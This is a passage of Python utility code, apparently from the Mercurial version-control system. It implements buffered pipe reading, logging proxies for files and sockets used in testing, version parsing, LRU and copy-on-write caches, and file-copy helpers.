        return self._frombuffer(min(self._lenbuf, size))

    def readline(self, *args, **kwargs):
        if len(self._buffer) > 1:
            # this should not happen because both read and readline end with a
            # _frombuffer call that collapse it.
            self._buffer = [''.join(self._buffer)]
            self._lenbuf = len(self._buffer[0])
        lfi = -1
        if self._buffer:
            lfi = self._buffer[-1].find('\n')
        while (not self._eof) and lfi < 0:
            self._fillbuffer()
            if self._buffer:
                lfi = self._buffer[-1].find('\n')
        size = lfi + 1
        if lfi < 0: # end of file
            size = self._lenbuf
        elif len(self._buffer) > 1:
            # we need to take previous chunks into account
            size += self._lenbuf - len(self._buffer[-1])
        return self._frombuffer(size)

    def _frombuffer(self, size):
        """return at most 'size' data from the buffer

        The data are removed from the buffer."""
        if size == 0 or not self._buffer:
            return ''
        buf = self._buffer[0]
        if len(self._buffer) > 1:
            buf = ''.join(self._buffer)

        data = buf[:size]
        buf = buf[len(data):]
        if buf:
            self._buffer = [buf]
            self._lenbuf = len(buf)
        else:
            self._buffer = []
            self._lenbuf = 0
        return data

    def _fillbuffer(self, size=_chunksize):
        """read data to the buffer"""
        data = os.read(self._input.fileno(), size)
        if not data:
            self._eof = True
        else:
            self._lenbuf += len(data)
            self._buffer.append(data)

        return data

def mmapread(fp):
    try:
        fd = getattr(fp, 'fileno', lambda: fp)()
        return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
    except ValueError:
        # Empty files cannot be mmapped, but mmapread should still work.  Check
        # if the file is empty, and if so, return an empty buffer.
        if os.fstat(fd).st_size == 0:
            return ''
        raise

class fileobjectproxy(object):
    """A proxy around file objects that tells a watcher when events occur.

    This type is intended to only be used for testing purposes. Think hard
    before using it in important code.
    """
    __slots__ = (
        r'_orig',
        r'_observer',
    )

    def __init__(self, fh, observer):
        object.__setattr__(self, r'_orig', fh)
        object.__setattr__(self, r'_observer', observer)

    def __getattribute__(self, name):
        ours = {
            r'_observer',

            # IOBase
            r'close',
            # closed if a property
            r'fileno',
            r'flush',
            r'isatty',
            r'readable',
            r'readline',
            r'readlines',
            r'seek',
            r'seekable',
            r'tell',
            r'truncate',
            r'writable',
            r'writelines',
            # RawIOBase
            r'read',
            r'readall',
            r'readinto',
            r'write',
            # BufferedIOBase
            # raw is a property
            r'detach',
            # read defined above
            r'read1',
            # readinto defined above
            # write defined above
        }

        # We only observe some methods.
        if name in ours:
            return object.__getattribute__(self, name)

        return getattr(object.__getattribute__(self, r'_orig'), name)

    def __nonzero__(self):
        return bool(object.__getattribute__(self, r'_orig'))

    __bool__ = __nonzero__

    def __delattr__(self, name):
        return delattr(object.__getattribute__(self, r'_orig'), name)

    def __setattr__(self, name, value):
        return setattr(object.__getattribute__(self, r'_orig'), name, value)

    def __iter__(self):
        return object.__getattribute__(self, r'_orig').__iter__()

    def _observedcall(self, name, *args, **kwargs):
        # Call the original object.
        orig = object.__getattribute__(self, r'_orig')
        res = getattr(orig, name)(*args, **kwargs)

        # Call a method on the observer of the same name with arguments
        # so it can react, log, etc.
        observer = object.__getattribute__(self, r'_observer')
        fn = getattr(observer, name, None)
        if fn:
            fn(res, *args, **kwargs)

        return res

    def close(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'close', *args, **kwargs)

    def fileno(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'fileno', *args, **kwargs)

    def flush(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'flush', *args, **kwargs)

    def isatty(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'isatty', *args, **kwargs)

    def readable(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'readable', *args, **kwargs)

    def readline(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'readline', *args, **kwargs)

    def readlines(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'readlines', *args, **kwargs)

    def seek(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'seek', *args, **kwargs)

    def seekable(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'seekable', *args, **kwargs)

    def tell(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'tell', *args, **kwargs)

    def truncate(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'truncate', *args, **kwargs)

    def writable(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'writable', *args, **kwargs)

    def writelines(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'writelines', *args, **kwargs)

    def read(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'read', *args, **kwargs)

    def readall(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'readall', *args, **kwargs)

    def readinto(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'readinto', *args, **kwargs)

    def write(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'write', *args, **kwargs)

    def detach(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'detach', *args, **kwargs)

    def read1(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'read1', *args, **kwargs)

class observedbufferedinputpipe(bufferedinputpipe):
    """A variation of bufferedinputpipe that is aware of fileobjectproxy.

    ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
    bypass ``fileobjectproxy``. Because of this, we need to make
    ``bufferedinputpipe`` aware of these operations.

    This variation of ``bufferedinputpipe`` can notify observers about
    ``os.read()`` events. It also re-publishes other events, such as
    ``read()`` and ``readline()``.
    """
    def _fillbuffer(self):
        res = super(observedbufferedinputpipe, self)._fillbuffer()

        fn = getattr(self._input._observer, r'osread', None)
        if fn:
            fn(res, _chunksize)

        return res

    # We use different observer methods because the operation isn't
    # performed on the actual file object but on us.
    def read(self, size):
        res = super(observedbufferedinputpipe, self).read(size)

        fn = getattr(self._input._observer, r'bufferedread', None)
        if fn:
            fn(res, size)

        return res

    def readline(self, *args, **kwargs):
        res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)

        fn = getattr(self._input._observer, r'bufferedreadline', None)
        if fn:
            fn(res)

        return res

PROXIED_SOCKET_METHODS = {
    r'makefile',
    r'recv',
    r'recvfrom',
    r'recvfrom_into',
    r'recv_into',
    r'send',
    r'sendall',
    r'sendto',
    r'setblocking',
    r'settimeout',
    r'gettimeout',
    r'setsockopt',
}

class socketproxy(object):
    """A proxy around a socket that tells a watcher when events occur.

    This is like ``fileobjectproxy`` except for sockets.

    This type is intended to only be used for testing purposes. Think hard
    before using it in important code.
    """
    __slots__ = (
        r'_orig',
        r'_observer',
    )

    def __init__(self, sock, observer):
        object.__setattr__(self, r'_orig', sock)
        object.__setattr__(self, r'_observer', observer)

    def __getattribute__(self, name):
        if name in PROXIED_SOCKET_METHODS:
            return object.__getattribute__(self, name)

        return getattr(object.__getattribute__(self, r'_orig'), name)

    def __delattr__(self, name):
        return delattr(object.__getattribute__(self, r'_orig'), name)

    def __setattr__(self, name, value):
        return setattr(object.__getattribute__(self, r'_orig'), name, value)

    def __nonzero__(self):
        return bool(object.__getattribute__(self, r'_orig'))

    __bool__ = __nonzero__

    def _observedcall(self, name, *args, **kwargs):
        # Call the original object.
        orig = object.__getattribute__(self, r'_orig')
        res = getattr(orig, name)(*args, **kwargs)

        # Call a method on the observer of the same name with arguments
        # so it can react, log, etc.
        observer = object.__getattribute__(self, r'_observer')
        fn = getattr(observer, name, None)
        if fn:
            fn(res, *args, **kwargs)

        return res

    def makefile(self, *args, **kwargs):
        res = object.__getattribute__(self, r'_observedcall')(
            r'makefile', *args, **kwargs)

        # The file object may be used for I/O. So we turn it into a
        # proxy using our observer.
        observer = object.__getattribute__(self, r'_observer')
        return makeloggingfileobject(observer.fh, res, observer.name,
                                     reads=observer.reads,
                                     writes=observer.writes,
                                     logdata=observer.logdata,
                                     logdataapis=observer.logdataapis)

    def recv(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'recv', *args, **kwargs)

    def recvfrom(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'recvfrom', *args, **kwargs)

    def recvfrom_into(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'recvfrom_into', *args, **kwargs)

    def recv_into(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'recv_info', *args, **kwargs)

    def send(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'send', *args, **kwargs)

    def sendall(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'sendall', *args, **kwargs)

    def sendto(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'sendto', *args, **kwargs)

    def setblocking(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'setblocking', *args, **kwargs)

    def settimeout(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'settimeout', *args, **kwargs)

    def gettimeout(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'gettimeout', *args, **kwargs)

    def setsockopt(self, *args, **kwargs):
        return object.__getattribute__(self, r'_observedcall')(
            r'setsockopt', *args, **kwargs)

class baseproxyobserver(object):
    def _writedata(self, data):
        if not self.logdata:
            if self.logdataapis:
                self.fh.write('\n')
                self.fh.flush()
            return

        # Simple case writes all data on a single line.
        if b'\n' not in data:
            if self.logdataapis:
                self.fh.write(': %s\n' % stringutil.escapestr(data))
            else:
                self.fh.write('%s>     %s\n'
                              % (self.name, stringutil.escapestr(data)))
            self.fh.flush()
            return

        # Data with newlines is written to multiple lines.
        if self.logdataapis:
            self.fh.write(':\n')

        lines = data.splitlines(True)
        for line in lines:
            self.fh.write('%s>     %s\n'
                          % (self.name, stringutil.escapestr(line)))
        self.fh.flush()

class fileobjectobserver(baseproxyobserver):
    """Logs file object activity."""
    def __init__(self, fh, name, reads=True, writes=True, logdata=False,
                 logdataapis=True):
        self.fh = fh
        self.name = name
        self.logdata = logdata
        self.logdataapis = logdataapis
        self.reads = reads
        self.writes = writes

    def read(self, res, size=-1):
        if not self.reads:
            return
        # Python 3 can return None from reads at EOF instead of empty strings.
        if res is None:
            res = ''

        if size == -1 and res == '':
            # Suppress pointless read(-1) calls that return
            # nothing. These happen _a lot_ on Python 3, and there
            # doesn't seem to be a better workaround to have matching
            # Python 2 and 3 behavior. :(
            return

        if self.logdataapis:
            self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))

        self._writedata(res)

    def readline(self, res, limit=-1):
        if not self.reads:
            return

        if self.logdataapis:
            self.fh.write('%s> readline() -> %d' % (self.name, len(res)))

        self._writedata(res)

    def readinto(self, res, dest):
        if not self.reads:
            return

        if self.logdataapis:
            self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
                                                      res))

        data = dest[0:res] if res is not None else b''
        self._writedata(data)

    def write(self, res, data):
        if not self.writes:
            return

        # Python 2 returns None from some write() calls. Python 3 (reasonably)
        # returns the integer bytes written.
        if res is None and data:
            res = len(data)

        if self.logdataapis:
            self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))

        self._writedata(data)

    def flush(self, res):
        if not self.writes:
            return

        self.fh.write('%s> flush() -> %r\n' % (self.name, res))

    # For observedbufferedinputpipe.
    def bufferedread(self, res, size):
        if not self.reads:
            return

        if self.logdataapis:
            self.fh.write('%s> bufferedread(%d) -> %d' % (
                self.name, size, len(res)))

        self._writedata(res)

    def bufferedreadline(self, res):
        if not self.reads:
            return

        if self.logdataapis:
            self.fh.write('%s> bufferedreadline() -> %d' % (
                self.name, len(res)))

        self._writedata(res)

def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
                          logdata=False, logdataapis=True):
    """Turn a file object into a logging file object."""

    observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
                                  logdata=logdata, logdataapis=logdataapis)
    return fileobjectproxy(fh, observer)

class socketobserver(baseproxyobserver):
    """Logs socket activity."""
    def __init__(self, fh, name, reads=True, writes=True, states=True,
                 logdata=False, logdataapis=True):
        self.fh = fh
        self.name = name
        self.reads = reads
        self.writes = writes
        self.states = states
        self.logdata = logdata
        self.logdataapis = logdataapis

    def makefile(self, res, mode=None, bufsize=None):
        if not self.states:
            return

        self.fh.write('%s> makefile(%r, %r)\n' % (
            self.name, mode, bufsize))

    def recv(self, res, size, flags=0):
        if not self.reads:
            return

        if self.logdataapis:
            self.fh.write('%s> recv(%d, %d) -> %d' % (
                self.name, size, flags, len(res)))
        self._writedata(res)

    def recvfrom(self, res, size, flags=0):
        if not self.reads:
            return

        if self.logdataapis:
            self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
                self.name, size, flags, len(res[0])))

        self._writedata(res[0])

    def recvfrom_into(self, res, buf, size, flags=0):
        if not self.reads:
            return

        if self.logdataapis:
            self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
                self.name, size, flags, res[0]))

        self._writedata(buf[0:res[0]])

    def recv_into(self, res, buf, size=0, flags=0):
        if not self.reads:
            return

        if self.logdataapis:
            self.fh.write('%s> recv_into(%d, %d) -> %d' % (
                self.name, size, flags, res))

        self._writedata(buf[0:res])

    def send(self, res, data, flags=0):
        if not self.writes:
            return

        self.fh.write('%s> send(%d, %d) -> %d' % (
            self.name, len(data), flags, len(res)))
        self._writedata(data)

    def sendall(self, res, data, flags=0):
        if not self.writes:
            return

        if self.logdataapis:
            # Returns None on success. So don't bother reporting return value.
            self.fh.write('%s> sendall(%d, %d)' % (
                self.name, len(data), flags))

        self._writedata(data)

    def sendto(self, res, data, flagsoraddress, address=None):
        if not self.writes:
            return

        if address:
            flags = flagsoraddress
        else:
            flags = 0

        if self.logdataapis:
            self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
                self.name, len(data), flags, address, res))

        self._writedata(data)

    def setblocking(self, res, flag):
        if not self.states:
            return

        self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))

    def settimeout(self, res, value):
        if not self.states:
            return

        self.fh.write('%s> settimeout(%r)\n' % (self.name, value))

    def gettimeout(self, res):
        if not self.states:
            return

        self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))

    def setsockopt(self, res, level, optname, value):
        if not self.states:
            return

        self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
            self.name, level, optname, value, res))

def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
                      logdata=False, logdataapis=True):
    """Turn a socket into a logging socket."""

    observer = socketobserver(logh, name, reads=reads, writes=writes,
                              states=states, logdata=logdata,
                              logdataapis=logdataapis)
    return socketproxy(fh, observer)

def version():
    """Return version information if available."""
    try:
        from . import __version__
        return __version__.version
    except ImportError:
        return 'unknown'

def versiontuple(v=None, n=4):
    """Parses a Mercurial version string into an N-tuple.

    The version string to be parsed is specified with the ``v`` argument.
    If it isn't defined, the current Mercurial version string will be parsed.

    ``n`` can be 2, 3, or 4. Here is how some version strings map to
    returned values:

    >>> v = b'3.6.1+190-df9b73d2d444'
    >>> versiontuple(v, 2)
    (3, 6)
    >>> versiontuple(v, 3)
    (3, 6, 1)
    >>> versiontuple(v, 4)
    (3, 6, 1, '190-df9b73d2d444')

    >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
    (3, 6, 1, '190-df9b73d2d444+20151118')

    >>> v = b'3.6'
    >>> versiontuple(v, 2)
    (3, 6)
    >>> versiontuple(v, 3)
    (3, 6, None)
    >>> versiontuple(v, 4)
    (3, 6, None, None)

    >>> v = b'3.9-rc'
    >>> versiontuple(v, 2)
    (3, 9)
    >>> versiontuple(v, 3)
    (3, 9, None)
    >>> versiontuple(v, 4)
    (3, 9, None, 'rc')

    >>> v = b'3.9-rc+2-02a8fea4289b'
    >>> versiontuple(v, 2)
    (3, 9)
    >>> versiontuple(v, 3)
    (3, 9, None)
    >>> versiontuple(v, 4)
    (3, 9, None, 'rc+2-02a8fea4289b')

    >>> versiontuple(b'4.6rc0')
    (4, 6, None, 'rc0')
    >>> versiontuple(b'4.6rc0+12-425d55e54f98')
    (4, 6, None, 'rc0+12-425d55e54f98')
    >>> versiontuple(b'.1.2.3')
    (None, None, None, '.1.2.3')
    >>> versiontuple(b'12.34..5')
    (12, 34, None, '..5')
    >>> versiontuple(b'1.2.3.4.5.6')
    (1, 2, 3, '.4.5.6')
    """
    if not v:
        v = version()
    m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
    if not m:
        vparts, extra = '', v
    elif m.group(2):
        vparts, extra = m.groups()
    else:
        vparts, extra = m.group(1), None

    vints = []
    for i in vparts.split('.'):
        try:
            vints.append(int(i))
        except ValueError:
            break
    # (3, 6) -> (3, 6, None)
    while len(vints) < 3:
        vints.append(None)

    if n == 2:
        return (vints[0], vints[1])
    if n == 3:
        return (vints[0], vints[1], vints[2])
    if n == 4:
        return (vints[0], vints[1], vints[2], extra)

def cachefunc(func):
    '''cache the result of function calls'''
    # XXX doesn't handle keywords args
    if func.__code__.co_argcount == 0:
        cache = []
        def f():
            if len(cache) == 0:
                cache.append(func())
            return cache[0]
        return f
    cache = {}
    if func.__code__.co_argcount == 1:
        # we gain a small amount of time because
        # we don't need to pack/unpack the list
        def f(arg):
            if arg not in cache:
                cache[arg] = func(arg)
            return cache[arg]
    else:
        def f(*args):
            if args not in cache:
                cache[args] = func(*args)
            return cache[args]

    return f

class cow(object):
    """helper class to make copy-on-write easier

    Call preparewrite before doing any writes.
    """

    def preparewrite(self):
        """call this before writes, return self or a copied new object"""
        if getattr(self, '_copied', 0):
            self._copied -= 1
            return self.__class__(self)
        return self

    def copy(self):
        """always do a cheap copy"""
        self._copied = getattr(self, '_copied', 0) + 1
        return self

class sortdict(collections.OrderedDict):
    '''a simple sorted dictionary

    >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
    >>> d2 = d1.copy()
    >>> d2
    sortdict([('a', 0), ('b', 1)])
    >>> d2.update([(b'a', 2)])
    >>> list(d2.keys()) # should still be in last-set order
    ['b', 'a']
    '''

    def __setitem__(self, key, value):
        if key in self:
            del self[key]
        super(sortdict, self).__setitem__(key, value)

    if pycompat.ispypy:
        # __setitem__() isn't called as of PyPy 5.8.0
        def update(self, src):
            if isinstance(src, dict):
                src = src.iteritems()
            for k, v in src:
                self[k] = v

class cowdict(cow, dict):
    """copy-on-write dict

    Be sure to call d = d.preparewrite() before writing to d.

    >>> a = cowdict()
    >>> a is a.preparewrite()
    True
    >>> b = a.copy()
    >>> b is a
    True
    >>> c = b.copy()
    >>> c is a
    True
    >>> a = a.preparewrite()
    >>> b is a
    False
    >>> a is a.preparewrite()
    True
    >>> c = c.preparewrite()
    >>> b is c
    False
    >>> b is b.preparewrite()
    True
    """

class cowsortdict(cow, sortdict):
    """copy-on-write sortdict

    Be sure to call d = d.preparewrite() before writing to d.
    """

class transactional(object):
    """Base class for making a transactional type into a context manager."""
    __metaclass__ = abc.ABCMeta

    @abc.abstractmethod
    def close(self):
        """Successfully closes the transaction."""

    @abc.abstractmethod
    def release(self):
        """Marks the end of the transaction.

        If the transaction has not been closed, it will be aborted.
        """

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        try:
            if exc_type is None:
                self.close()
        finally:
            self.release()

@contextlib.contextmanager
def acceptintervention(tr=None):
    """A context manager that closes the transaction on InterventionRequired

    If no transaction was provided, this simply runs the body and returns
    """
    if not tr:
        yield
        return
    try:
        yield
        tr.close()
    except error.InterventionRequired:
        tr.close()
        raise
    finally:
        tr.release()

@contextlib.contextmanager
def nullcontextmanager():
    yield

class _lrucachenode(object):
    """A node in a doubly linked list.

    Holds a reference to nodes on either side as well as a key-value
    pair for the dictionary entry.
    """
    __slots__ = (u'next', u'prev', u'key', u'value', u'cost')

    def __init__(self):
        self.next = None
        self.prev = None

        self.key = _notset
        self.value = None
        self.cost = 0

    def markempty(self):
        """Mark the node as emptied."""
        self.key = _notset
        self.value = None
        self.cost = 0

class lrucachedict(object):
    """Dict that caches most recent accesses and sets.

    The dict consists of an actual backing dict - indexed by original
    key - and a doubly linked circular list defining the order of entries in
    the cache.

    The head node is the newest entry in the cache. If the cache is full,
    we recycle head.prev and make it the new head. Cache accesses result in
    the node being moved to before the existing head and being marked as the
    new head node.

    Items in the cache can be inserted with an optional "cost" value. This is
    simply an integer that is specified by the caller. The cache can be queried
    for the total cost of all items presently in the cache.

    The cache can also define a maximum cost. If a cache insertion would
    cause the total cost of the cache to go beyond the maximum cost limit,
    nodes will be evicted to make room for the new code. This can be used
    to e.g. set a max memory limit and associate an estimated bytes size
    cost to each item in the cache. By default, no maximum cost is enforced.
    """
    def __init__(self, max, maxcost=0):
        self._cache = {}

        self._head = head = _lrucachenode()
        head.prev = head
        head.next = head
        self._size = 1
        self.capacity = max
        self.totalcost = 0
        self.maxcost = maxcost

    def __len__(self):
        return len(self._cache)

    def __contains__(self, k):
        return k in self._cache

    def __iter__(self):
        # We don't have to iterate in cache order, but why not.
        n = self._head
        for i in range(len(self._cache)):
            yield n.key
            n = n.next

    def __getitem__(self, k):
        node = self._cache[k]
        self._movetohead(node)
        return node.value

    def insert(self, k, v, cost=0):
        """Insert a new item in the cache with optional cost value."""
        node = self._cache.get(k)
        # Replace existing value and mark as newest.
        if node is not None:
            self.totalcost -= node.cost
            node.value = v
            node.cost = cost
            self.totalcost += cost
            self._movetohead(node)

            if self.maxcost:
                self._enforcecostlimit()

            return

        if self._size < self.capacity:
            node = self._addcapacity()
        else:
            # Grab the last/oldest item.
            node = self._head.prev

        # At capacity. Kill the old entry.
        if node.key is not _notset:
            self.totalcost -= node.cost
            del self._cache[node.key]

        node.key = k
        node.value = v
        node.cost = cost
        self.totalcost += cost
        self._cache[k] = node
        # And mark it as newest entry. No need to adjust order since it
        # is already self._head.prev.
        self._head = node

        if self.maxcost:
            self._enforcecostlimit()

    def __setitem__(self, k, v):
        self.insert(k, v)

    def __delitem__(self, k):
        node = self._cache.pop(k)
        self.totalcost -= node.cost
        node.markempty()

        # Temporarily mark as newest item before re-adjusting head to make
        # this node the oldest item.
        self._movetohead(node)
        self._head = node.next

    # Additional dict methods.

    def get(self, k, default=None):
        try:
            return self.__getitem__(k)
        except KeyError:
            return default

    def clear(self):
        n = self._head
        while n.key is not _notset:
            self.totalcost -= n.cost
            n.markempty()
            n = n.next

        self._cache.clear()

    def copy(self, capacity=None, maxcost=0):
        """Create a new cache as a copy of the current one.

        By default, the new cache has the same capacity as the existing one.
        But, the cache capacity can be changed as part of performing the
        copy.

        Items in the copy have an insertion/access order matching this
        instance.
        """

        capacity = capacity or self.capacity
        maxcost = maxcost or self.maxcost
        result = lrucachedict(capacity, maxcost=maxcost)

        # We copy entries by iterating in oldest-to-newest order so the copy
        # has the correct ordering.

        # Find the first non-empty entry.
        n = self._head.prev
        while n.key is _notset and n is not self._head:
            n = n.prev

        # We could potentially skip the first N items when decreasing capacity.
        # But let's keep it simple unless it is a performance problem.
        for i in range(len(self._cache)):
            result.insert(n.key, n.value, cost=n.cost)
            n = n.prev

        return result

    def popoldest(self):
        """Remove the oldest item from the cache.

        Returns the (key, value) describing the removed cache entry.
        """
        if not self._cache:
            return

        # Walk the linked list backwards starting at tail node until we hit
        # a non-empty node.
        n = self._head.prev
        while n.key is _notset:
            n = n.prev

        key, value = n.key, n.value

        # And remove it from the cache and mark it as empty.
        del self._cache[n.key]
        self.totalcost -= n.cost
        n.markempty()

        return key, value

    def _movetohead(self, node):
        """Mark a node as the newest, making it the new head.

        When a node is accessed, it becomes the freshest entry in the LRU
        list, which is denoted by self._head.

        Visually, let's make ``N`` the new head node (* denotes head):

            previous/oldest <-> head <-> next/next newest

            ----<->--- A* ---<->-----
            |                       |
            E <-> D <-> N <-> C <-> B

        To:

            ----<->--- N* ---<->-----
            |                       |
            E <-> D <-> C <-> B <-> A

        This requires the following moves:

           C.next = D  (node.prev.next = node.next)
           D.prev = C  (node.next.prev = node.prev)
           E.next = N  (head.prev.next = node)
           N.prev = E  (node.prev = head.prev)
           N.next = A  (node.next = head)
           A.prev = N  (head.prev = node)
        """
        head = self._head
        # C.next = D
        node.prev.next = node.next
        # D.prev = C
        node.next.prev = node.prev
        # N.prev = E
        node.prev = head.prev
        # N.next = A
        # It is tempting to do just "head" here, however if node is
        # adjacent to head, this will do bad things.
        node.next = head.prev.next
        # E.next = N
        node.next.prev = node
        # A.prev = N
        node.prev.next = node

        self._head = node

    def _addcapacity(self):
        """Add a node to the circular linked list.

        The new node is inserted before the head node.
        """
        head = self._head
        node = _lrucachenode()
        head.prev.next = node
        node.prev = head.prev
        node.next = head
        head.prev = node
        self._size += 1
        return node

    def _enforcecostlimit(self):
        # This should run after an insertion. It should only be called if total
        # cost limits are being enforced.
        # The most recently inserted node is never evicted.
        if len(self) <= 1 or self.totalcost <= self.maxcost:
            return

        # This is logically equivalent to calling popoldest() until we
        # free up enough cost. We don't do that since popoldest() needs
        # to walk the linked list and doing this in a loop would be
        # quadratic. So we find the first non-empty node and then
        # walk nodes until we free up enough capacity.
        #
        # If we only removed the minimum number of nodes to free enough
        # cost at insert time, chances are high that the next insert would
        # also require pruning. This would effectively constitute quadratic
        # behavior for insert-heavy workloads. To mitigate this, we set a
        # target cost that is a percentage of the max cost. This will tend
        # to free more nodes when the high water mark is reached, which
        # lowers the chances of needing to prune on the subsequent insert.
        targetcost = int(self.maxcost * 0.75)

        n = self._head.prev
        while n.key is _notset:
            n = n.prev

        while len(self) > 1 and self.totalcost > targetcost:
            del self._cache[n.key]
            self.totalcost -= n.cost
            n.markempty()
            n = n.prev

def lrucachefunc(func):
    '''cache most recent results of function calls'''
    cache = {}
    order = collections.deque()
    if func.__code__.co_argcount == 1:
        def f(arg):
            if arg not in cache:
                if len(cache) > 20:
                    del cache[order.popleft()]
                cache[arg] = func(arg)
            else:
                order.remove(arg)
            order.append(arg)
            return cache[arg]
    else:
        def f(*args):
            if args not in cache:
                if len(cache) > 20:
                    del cache[order.popleft()]
                cache[args] = func(*args)
            else:
                order.remove(args)
            order.append(args)
            return cache[args]

    return f

class propertycache(object):
    def __init__(self, func):
        self.func = func
        self.name = func.__name__
    def __get__(self, obj, type=None):
        result = self.func(obj)
        self.cachevalue(obj, result)
        return result

    def cachevalue(self, obj, value):
        # __dict__ assignment required to bypass __setattr__ (eg: repoview)
        obj.__dict__[self.name] = value

def clearcachedproperty(obj, prop):
    '''clear a cached property value, if one has been set'''
    if prop in obj.__dict__:
        del obj.__dict__[prop]

def increasingchunks(source, min=1024, max=65536):
    '''return no less than min bytes per chunk while data remains,
    doubling min after each chunk until it reaches max'''
    def log2(x):
        if not x:
            return 0
        i = 0
        while x:
            x >>= 1
            i += 1
        return i - 1

    buf = []
    blen = 0
    for chunk in source:
        buf.append(chunk)
        blen += len(chunk)
        if blen >= min:
            if min < max:
                min = min << 1
                nmin = 1 << log2(blen)
                if nmin > min:
                    min = nmin
                if min > max:
                    min = max
            yield ''.join(buf)
            blen = 0
            buf = []
    if buf:
        yield ''.join(buf)

def always(fn):
    return True

def never(fn):
    return False

def nogc(func):
    """disable garbage collector

    Python's garbage collector triggers a GC each time a certain number of
    container objects (the number being defined by gc.get_threshold()) are
    allocated even when marked not to be tracked by the collector. Tracking has
    no effect on when GCs are triggered, only on what objects the GC looks
    into. As a workaround, disable GC while building complex (huge)
    containers.

    This garbage collector issue have been fixed in 2.7. But it still affect
    CPython's performance.
    """
    def wrapper(*args, **kwargs):
        gcenabled = gc.isenabled()
        gc.disable()
        try:
            return func(*args, **kwargs)
        finally:
            if gcenabled:
                gc.enable()
    return wrapper

if pycompat.ispypy:
    # PyPy runs slower with gc disabled
    nogc = lambda x: x

def pathto(root, n1, n2):
    '''return the relative path from one place to another.
    root should use os.sep to separate directories
    n1 should use os.sep to separate directories
    n2 should use "/" to separate directories
    returns an os.sep-separated path.

    If n1 is a relative path, it's assumed it's
    relative to root.
    n2 should always be relative to root.
    '''
    if not n1:
        return localpath(n2)
    if os.path.isabs(n1):
        if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
            return os.path.join(root, localpath(n2))
        n2 = '/'.join((pconvert(root), n2))
    a, b = splitpath(n1), n2.split('/')
    a.reverse()
    b.reverse()
    while a and b and a[-1] == b[-1]:
        a.pop()
        b.pop()
    b.reverse()
    return pycompat.ossep.join((['..'] * len(a)) + b) or '.'

# the location of data files matching the source code
if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
    # executable version (py2exe) doesn't support __file__
    datapath = os.path.dirname(pycompat.sysexecutable)
elif __file__.startswith("/usr/lib/python"):
    datapath = "/usr/share/mercurial"
else:
    datapath = os.path.dirname(pycompat.fsencode(__file__))

i18n.setdatapath(datapath)

def checksignature(func):
    '''wrap a function with code to check for calling errors'''
    def check(*args, **kwargs):
        try:
            return func(*args, **kwargs)
        except TypeError:
            if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                raise error.SignatureError
            raise

    return check

# a whilelist of known filesystems where hardlink works reliably
_hardlinkfswhitelist = {
    'apfs',
    'btrfs',
    'ext2',
    'ext3',
    'ext4',
    'hfs',
    'jfs',
    'NTFS',
    'reiserfs',
    'tmpfs',
    'ufs',
    'xfs',
    'zfs',
}

def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
    '''copy a file, preserving mode and optionally other stat info like
    atime/mtime

    checkambig argument is used with filestat, and is useful only if
    destination file is guarded by any lock (e.g. repo.lock or
    repo.wlock).

    copystat and checkambig should be exclusive.
    '''
    assert not (copystat and checkambig)
    oldstat = None
    if os.path.lexists(dest):
        if checkambig:
            oldstat = checkambig and filestat.frompath(dest)
        unlink(dest)
    if hardlink:
